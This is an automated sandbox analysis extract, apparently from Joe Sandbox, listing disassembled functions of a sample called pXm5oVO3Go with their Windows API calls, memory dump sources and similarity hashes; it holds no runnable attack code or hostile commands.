Function 005488FA Relevance: 12.2, APIs: 8, Instructions: 188memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00548901
VariantInit.OLEAUT32(?), ref: 00548931
VariantInit.OLEAUT32(?), ref: 00548937
VariantClear.OLEAUT32(?), ref: 00548983
VariantClear.OLEAUT32(?), ref: 00548989

Part of subcall function 005381C8: __CxxThrowException@8.LIBCMT ref: 005381DE
Part of subcall function 005381C8: __EH_prolog3.LIBCMT ref: 005381EB

SysAllocStringLen.OLEAUT32(?,00000005), ref: 005489E4
VariantClear.OLEAUT32(?), ref: 00548A9A
VariantClear.OLEAUT32(?), ref: 00548AA0

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Variant$Clear$H_prolog3Init$AllocException@8StringThrow
String ID:
API String ID: 1678399783-0
Opcode ID: 1a8dc7c3512ab5272abf188f378567add94ccb3953c2893d7096f0d2e96bef59
Instruction ID: a378faf91b6559feb438f4b9f25e43d69ddbce47b6a1d649b240fc32f42776ac
Opcode Fuzzy Hash: 1a8dc7c3512ab5272abf188f378567add94ccb3953c2893d7096f0d2e96bef59
Instruction Fuzzy Hash: 84614D7190024ADFCF10DFE4C8889BEBBB9BF49314B28486EE515EB250CB759E45CB51

Function 0054381D Relevance: 12.1, APIs: 8, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00543827
GlobalDeleteAtom.KERNEL32(?), ref: 005438D2
GlobalDeleteAtom.KERNEL32(?), ref: 005438E5
_free.LIBCMT ref: 00543917
_free.LIBCMT ref: 0054391F
_free.LIBCMT ref: 00543927
_free.LIBCMT ref: 0054392F
_free.LIBCMT ref: 00543937

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _free$AtomDeleteGlobal$H_prolog3_catch_
String ID:
API String ID: 1844215989-0
Opcode ID: 22c24c3c4b21b6d19984e6902b00b1a94ce3029435d0ccd71c37655f779d9770
Instruction ID: 48c2eb9c913118c4735217a8a00d77398e2e174d0bec328fecf9b45859ffdf8e
Opcode Fuzzy Hash: 22c24c3c4b21b6d19984e6902b00b1a94ce3029435d0ccd71c37655f779d9770
Instruction Fuzzy Hash: 12313D30601741DFDB24EF64C899AA9BFE2BF44304F54846CF19A8B6B2CBB19D80CB55

Function 005475A7 Relevance: 12.1, APIs: 8, Instructions: 80memorystringCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 005475AE
SysAllocString.OLEAUT32(?), ref: 0054767C

Part of subcall function 0054C959: _memset.LIBCMT ref: 0054C96B

lstrlenW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,00000000,00000001,?), ref: 005475E8
VariantClear.OLEAUT32(?), ref: 00547654
VariantClear.OLEAUT32(?), ref: 0054765A
VariantClear.OLEAUT32(?), ref: 00547660
VariantClear.OLEAUT32(00000000), ref: 00547666
SysFreeString.OLEAUT32(?), ref: 0054766B

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: ClearVariant$String$AllocFreeH_prolog3_memsetlstrlen
String ID:
API String ID: 2053117175-0
Opcode ID: 2a50d400dccc53430de0076eedc0f0a48ce636d3b7619acd097371a26fd5eb3c
Instruction ID: dd4d0c44e6f298f852898ebe73055f83b3dd5b9e94302fefdb8e4aa343dd379a
Opcode Fuzzy Hash: 2a50d400dccc53430de0076eedc0f0a48ce636d3b7619acd097371a26fd5eb3c
Instruction Fuzzy Hash: 64313C7180014EEFDF11EFA0DC48AED7FB9EF58344F108019F905AB151DA359A55DB61

Function 0364356E Relevance: 10.7, APIs: 7, Instructions: 151COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 03643580
CoInitialize.OLE32(00000000), ref: 03643587
SafeArrayAccessData.OLEAUT32(?,?), ref: 03643667
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0364367A
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 03643689

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: ArraySafe$Bound$AccessDataInitInitializeVariant
String ID:
API String ID: 1770467583-0
Opcode ID: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction ID: 52fbddd7c4b1d7f0eb3f3525fb7c739389f804a4d77d33d0c7af786478090754
Opcode Fuzzy Hash: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction Fuzzy Hash: 25513A75E0061AAFEF01DFA4CC88AAEBB79EF49305B204459FD11EB360D771DA158B90

Function 1000356A Relevance: 10.7, APIs: 7, Instructions: 151COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 1000357C
CoInitialize.OLE32(00000000), ref: 10003583
SafeArrayAccessData.OLEAUT32(?,?), ref: 10003663
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 10003676
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 10003685

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: ArraySafe$Bound$AccessDataInitInitializeVariant
String ID:
API String ID: 1770467583-0
Opcode ID: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction ID: 6a08fc82bc3730ba37a0e2c4be62a39793870260165c286fe321372d819fc844
Opcode Fuzzy Hash: c0c3d5d2c829e32bcd8bcd4ba14b769915719691fda59041b1900c6aa967e1cc
Instruction Fuzzy Hash: CE515D71A00619BFEB02DFA4CC88AAFBBBDEF45344F108459F901EB224D772DA058B50

Function 00424FE0 Relevance: 10.6, APIs: 7, Instructions: 125COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00424FEF

Part of subcall function 0063A2D7: __FF_MSGBANNER.LIBCMT ref: 0063A2F0
Part of subcall function 0063A2D7: __NMSG_WRITE.LIBCMT ref: 0063A2F7
Part of subcall function 0063A2D7: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00646709,00000000,00000001,00000000,?,00649909,00000018,0071ACE0,0000000C,00649999), ref: 0063A31C

_free.LIBCMT ref: 00425013
_memset.LIBCMT ref: 00425074
CreateDIBSection.GDI32(00000000,00000008,00000000,00000008,00000000,00000000), ref: 00425089
_free.LIBCMT ref: 0042509A

Part of subcall function 00638E31: HeapFree.KERNEL32(00000000,00000000,?,0040201B,?,ED2F953D), ref: 00638E47

_memcpy_s.LIBCMT ref: 004250C0
_free.LIBCMT ref: 0042510A

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _free$Heap$AllocateCreateFreeSection_malloc_memcpy_s_memset
String ID:
API String ID: 3083015433-0
Opcode ID: da58268f5152990dcaa61327567e6c040b37fab0ab98cc9776ccf8020c36bc0e
Instruction ID: 360f0078a5988b9aa22d51a7b1d2b6352d301195ba829fd668ebaa24be426122
Opcode Fuzzy Hash: da58268f5152990dcaa61327567e6c040b37fab0ab98cc9776ccf8020c36bc0e
Instruction Fuzzy Hash: AC41F076A00B105FE320DF25EC41BA7B7E5AF84720F54842EE949CB352EB75E910CB98

Function 0053E5DF Relevance: 10.6, APIs: 7, Instructions: 117windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0053E612
PeekMessageW.USER32(004114B0,00000000,00000000,00000000,00000000), ref: 0053E636
UpdateWindow.USER32(?), ref: 0053E651
SendMessageW.USER32(00000024,00000121,00000000,?), ref: 0053E672
SendMessageW.USER32(?,0000036A,00000000,00000002), ref: 0053E68A
UpdateWindow.USER32(?), ref: 0053E6CD
PeekMessageW.USER32(004114B0,00000000,00000000,00000000,00000000), ref: 0053E6FE

Part of subcall function 0053B5F7: GetWindowLongW.USER32(?,000000F0), ref: 0053B602

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: bf5034fef45aed2f1f820b7ba5d37124e34f0dd0f8c4dc400c1294b4b1013a2a
Instruction ID: 61a98ce6f9eafbb864f9943975ccc99499e40b493fb2bc4ba56c0af499a80e57
Opcode Fuzzy Hash: bf5034fef45aed2f1f820b7ba5d37124e34f0dd0f8c4dc400c1294b4b1013a2a
Instruction Fuzzy Hash: 54417B3090078AABDF219FA5DC8AEAEBFF5FF91744F108529E442A61A1DB718940DB10

Function 03649173 Relevance: 10.6, APIs: 7, Instructions: 114COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,0000000D,?), ref: 036491D8
CreateDirectoryA.KERNEL32(?,00000000,?,0000000D,?), ref: 036491EC
__fassign.LIBCMT ref: 0364919F

Part of subcall function 0364BE5F: __mbsnbcpy_l.LIBCMT ref: 0364BE6F

__fassign.LIBCMT ref: 03649257
__fassign.LIBCMT ref: 03649286
GetFileAttributesA.KERNEL32(00000000,?,0000000D,?), ref: 03649299
CreateDirectoryA.KERNEL32(00000000,00000000,?,0000000D,?), ref: 036492AD

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: __fassign$AttributesCreateDirectoryFile$__mbsnbcpy_l
String ID:
API String ID: 2854908881-0
Opcode ID: d39bb7027f6251b25b08e012973c6ff04273f925ee12b3df7fdcad5c3bd8eb85
Instruction ID: de793b54a01b413d298bebe151fc9a1171d7e90b31da78f88da9f4ebeaf41ec3
Opcode Fuzzy Hash: d39bb7027f6251b25b08e012973c6ff04273f925ee12b3df7fdcad5c3bd8eb85
Instruction Fuzzy Hash: E841E375D043585ADB60DB68CD8CBEB7BED9B05300F5841E9DA94D7281DB708A888B54

Function 0042D550 Relevance: 10.6, APIs: 7, Instructions: 110COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042D5F0
VerSetConditionMask.KERNEL32(00000000,00000000,00000002,?), ref: 0042D642
VerSetConditionMask.KERNEL32(00000000,?,00000001,?), ref: 0042D64F
VerSetConditionMask.KERNEL32(00000000,?,00000020,?,?,00000001,?), ref: 0042D65C
VerSetConditionMask.KERNEL32(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 0042D669
VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 0042D675
VerifyVersionInfoA.KERNEL32(0000009C,00000033,00000000), ref: 0042D682

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion_memset
String ID:
API String ID: 3299124433-0
Opcode ID: d3ef0d53f1839c9e3bf1850531eb811aee1c8a145011ea7e9c5a9df1899ed0bd
Instruction ID: a0167c8f1a74232b0136c7fe2438c6576a0bff57e9e5d0e349309cf03c2c5f55
Opcode Fuzzy Hash: d3ef0d53f1839c9e3bf1850531eb811aee1c8a145011ea7e9c5a9df1899ed0bd
Instruction Fuzzy Hash: 17415470F043ACEEEF20CB649C45BAA7B79AB55700F4041CAE54D6B282C7B55E84CF66

Function 0364EBC4 Relevance: 10.6, APIs: 7, Instructions: 109memorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,?,0364C2D7,1001D1F0,00000008,0364C46B,?,?,?,1001D210,0000000C,0364C526,?), ref: 0364EBCC
__mtterm.LIBCMT ref: 0364EBD8

Part of subcall function 0364E8A3: RtlDecodePointer.NTDLL(100209BC), ref: 0364E8B4
Part of subcall function 0364E8A3: TlsFree.KERNEL32(100209C0,0364C39A,0364C380,1001D1F0,00000008,0364C46B,?,?,?,1001D210,0000000C,0364C526,?), ref: 0364E8CE
Part of subcall function 0364E8A3: _free.LIBCMT ref: 0364F6C6

TlsAlloc.KERNEL32(?,?,0364C2D7,1001D1F0,00000008,0364C46B,?,?,?,1001D210,0000000C,0364C526,?), ref: 0364EC65
__init_pointers.LIBCMT ref: 0364EC8A
__calloc_crt.LIBCMT ref: 0364ECF8
GetCurrentThreadId.KERNEL32 ref: 0364ED24

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: AllocCurrentDecodeFreeHandleModulePointerThread__calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 347030822-0
Opcode ID: 2465f0a14bcac396a0c33370bd3830e107fa2acc38513c658810efa9718ea0a3
Instruction ID: 109b283a41b81bc118a76aca59886ab6d69b2420bf21ac1480495c2e50259c3a
Opcode Fuzzy Hash: 2465f0a14bcac396a0c33370bd3830e107fa2acc38513c658810efa9718ea0a3
Instruction Fuzzy Hash: 12319039C40B30EFF711EF758D886967AA4FF95260B28466EE402D6270EB358242CF90

Function 1000EBC0 Relevance: 10.6, APIs: 7, Instructions: 109memorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,?,1000C2D3,1001D1F0,00000008,1000C467,?,?,?,1001D210,0000000C,1000C522,?), ref: 1000EBC8
__mtterm.LIBCMT ref: 1000EBD4

Part of subcall function 1000E89F: RtlDecodePointer.NTDLL(100209BC), ref: 1000E8B0
Part of subcall function 1000E89F: TlsFree.KERNEL32(100209C0,1000C396,1000C37C,1001D1F0,00000008,1000C467,?,?,?,1001D210,0000000C,1000C522,?), ref: 1000E8CA
Part of subcall function 1000E89F: _free.LIBCMT ref: 1000F6C2

TlsAlloc.KERNEL32(?,?,1000C2D3,1001D1F0,00000008,1000C467,?,?,?,1001D210,0000000C,1000C522,?), ref: 1000EC61
__init_pointers.LIBCMT ref: 1000EC86
__calloc_crt.LIBCMT ref: 1000ECF4
GetCurrentThreadId.KERNEL32 ref: 1000ED20

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: AllocCurrentDecodeFreeHandleModulePointerThread__calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 347030822-0
Opcode ID: 2465f0a14bcac396a0c33370bd3830e107fa2acc38513c658810efa9718ea0a3
Instruction ID: bb4694bb5c9a658c6d9950f541a17c18304243beb40d45fd1c97dd1bb193a613
Opcode Fuzzy Hash: 2465f0a14bcac396a0c33370bd3830e107fa2acc38513c658810efa9718ea0a3
Instruction Fuzzy Hash: 5A31C239C41A74EFF751DF748C8468A3EA4EF953A0B20466EE402E21B4DB34CA42CF40

Function 00405520 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00405539

Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDB6
Part of subcall function 0065BDA1: __CxxThrowException@8.LIBCMT ref: 0065BDCB
Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDDC

std::_Xinvalid_argument.LIBCPMT ref: 0040555A
std::_Xinvalid_argument.LIBCPMT ref: 00405578
_memmove.LIBCMT ref: 004055EF

Strings

invalid string position, xrefs: 00405534
string too long, xrefs: 00405555, 00405573

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 443534600-4289949731
Opcode ID: 66606227c3be837befd3c4275abdea4d1c8e0940e776b2db282814a0a66f2dcd
Instruction ID: 82526b9a656a89521d1cc6155e20f064ad69c051c4c73cc3db6df7d088c1ea27
Opcode Fuzzy Hash: 66606227c3be837befd3c4275abdea4d1c8e0940e776b2db282814a0a66f2dcd
Instruction Fuzzy Hash: FD31B4327047149BC724DF68E88082BB3B7EFD57207104A3FE556DB294DB74D9448BA8

Function 00401D30 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00401D49

Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDB6
Part of subcall function 0065BDA1: __CxxThrowException@8.LIBCMT ref: 0065BDCB
Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDDC

std::_Xinvalid_argument.LIBCPMT ref: 00401D6A
std::_Xinvalid_argument.LIBCPMT ref: 00401D85
_memmove.LIBCMT ref: 00401DED

Strings

invalid string position, xrefs: 00401D44
string too long, xrefs: 00401D65, 00401D80

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 443534600-4289949731
Opcode ID: fb006089ef734ae445a4013f076dbe047356ea60279261c151c10134b43e82eb
Instruction ID: 5e384d3fcd57fe90cd880de6c387c4710e0ccccbc07b491ad084651309c3f517
Opcode Fuzzy Hash: fb006089ef734ae445a4013f076dbe047356ea60279261c151c10134b43e82eb
Instruction Fuzzy Hash: EE3186323042148BD724DE5CE980A6AF3EAEF91765F100A3FF552DB2E1D774E8408799

Function 0364A067 Relevance: 9.3, APIs: 6, Instructions: 301COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0364A071
wsprintfA.USER32 ref: 0364A100
wsprintfA.USER32 ref: 0364A423

Part of subcall function 03648B95: __fassign.LIBCMT ref: 03648BA8

_wprintf.LIBCMT ref: 0364A19F
std::_Xinvalid_argument.LIBCPMT ref: 0364A3FF
OutputDebugStringA.KERNEL32(?,?,?,?,?,?,10017380,000000FF), ref: 0364A439

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: wsprintf$DebugH_prolog3_OutputStringXinvalid_argument__fassign_wprintfstd::_
String ID:
API String ID: 2279894289-0
Opcode ID: 3497b7195cda61148555650dbdf71ca7da6f6a0dc9df4403e6f0026ca4a87f2b
Instruction ID: 0fced711790dc5586edcc8c27de407ee41fadf450ba5f9b9fba98cbffabaf4d0
Opcode Fuzzy Hash: 3497b7195cda61148555650dbdf71ca7da6f6a0dc9df4403e6f0026ca4a87f2b
Instruction Fuzzy Hash: 18C15C35C4426CAFCF22DFA4CD80ADDBBB9AF05300F5484A9E949AB240E7709B85CF55

Function 005A0C6D Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000002,?,?,?,?,?,005A0DB6,00000000,00000000,?,?,005A2BCA,?,?,?,00000084), ref: 005A0C7D
GlobalLock.KERNEL32(00000000,?,005A0DB6,00000000,00000000,?,?,005A2BCA,?,?,?,00000084,005A2F9E,0000000A,0000000A,0000000A), ref: 005A0C95
_memmove.LIBCMT ref: 005A0CA2
CreateStreamOnHGlobal.OLE32(00000000,00000000,00000000,?), ref: 005A0CB1
EnterCriticalSection.KERNEL32(0073BF7C,00000000), ref: 005A0CCA
LeaveCriticalSection.KERNEL32(0073BF7C,00000000), ref: 005A0D31

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Global$CriticalSection$AllocCreateEnterLeaveLockStream_memmove
String ID:
API String ID: 861836607-0
Opcode ID: 526725fd6f2a54b5203aea163b927db4e9eab3c19d260a16980050694004d8d4
Instruction ID: 723b10142501e81c227946937d3e171a4ef0492989f4ccc9acfb5ee6c1725a21
Opcode Fuzzy Hash: 526725fd6f2a54b5203aea163b927db4e9eab3c19d260a16980050694004d8d4
Instruction Fuzzy Hash: 3B21F375A1020ABBDB10ABB0DC59B6E7FA9FF08365F106215F901D6291EB34DD40CB65

Function 005394AF Relevance: 9.1, APIs: 6, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 005394E2
GetParent.USER32(?), ref: 005394F0
GetParent.USER32(?), ref: 00539503
GetLastActivePopup.USER32(?), ref: 00539514
IsWindowEnabled.USER32(?), ref: 00539528
EnableWindow.USER32(?,00000000), ref: 0053953B

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: f85e988b6dd063a92da9731562eb5832517575daa5fac298cc417a5ad7b44e7a
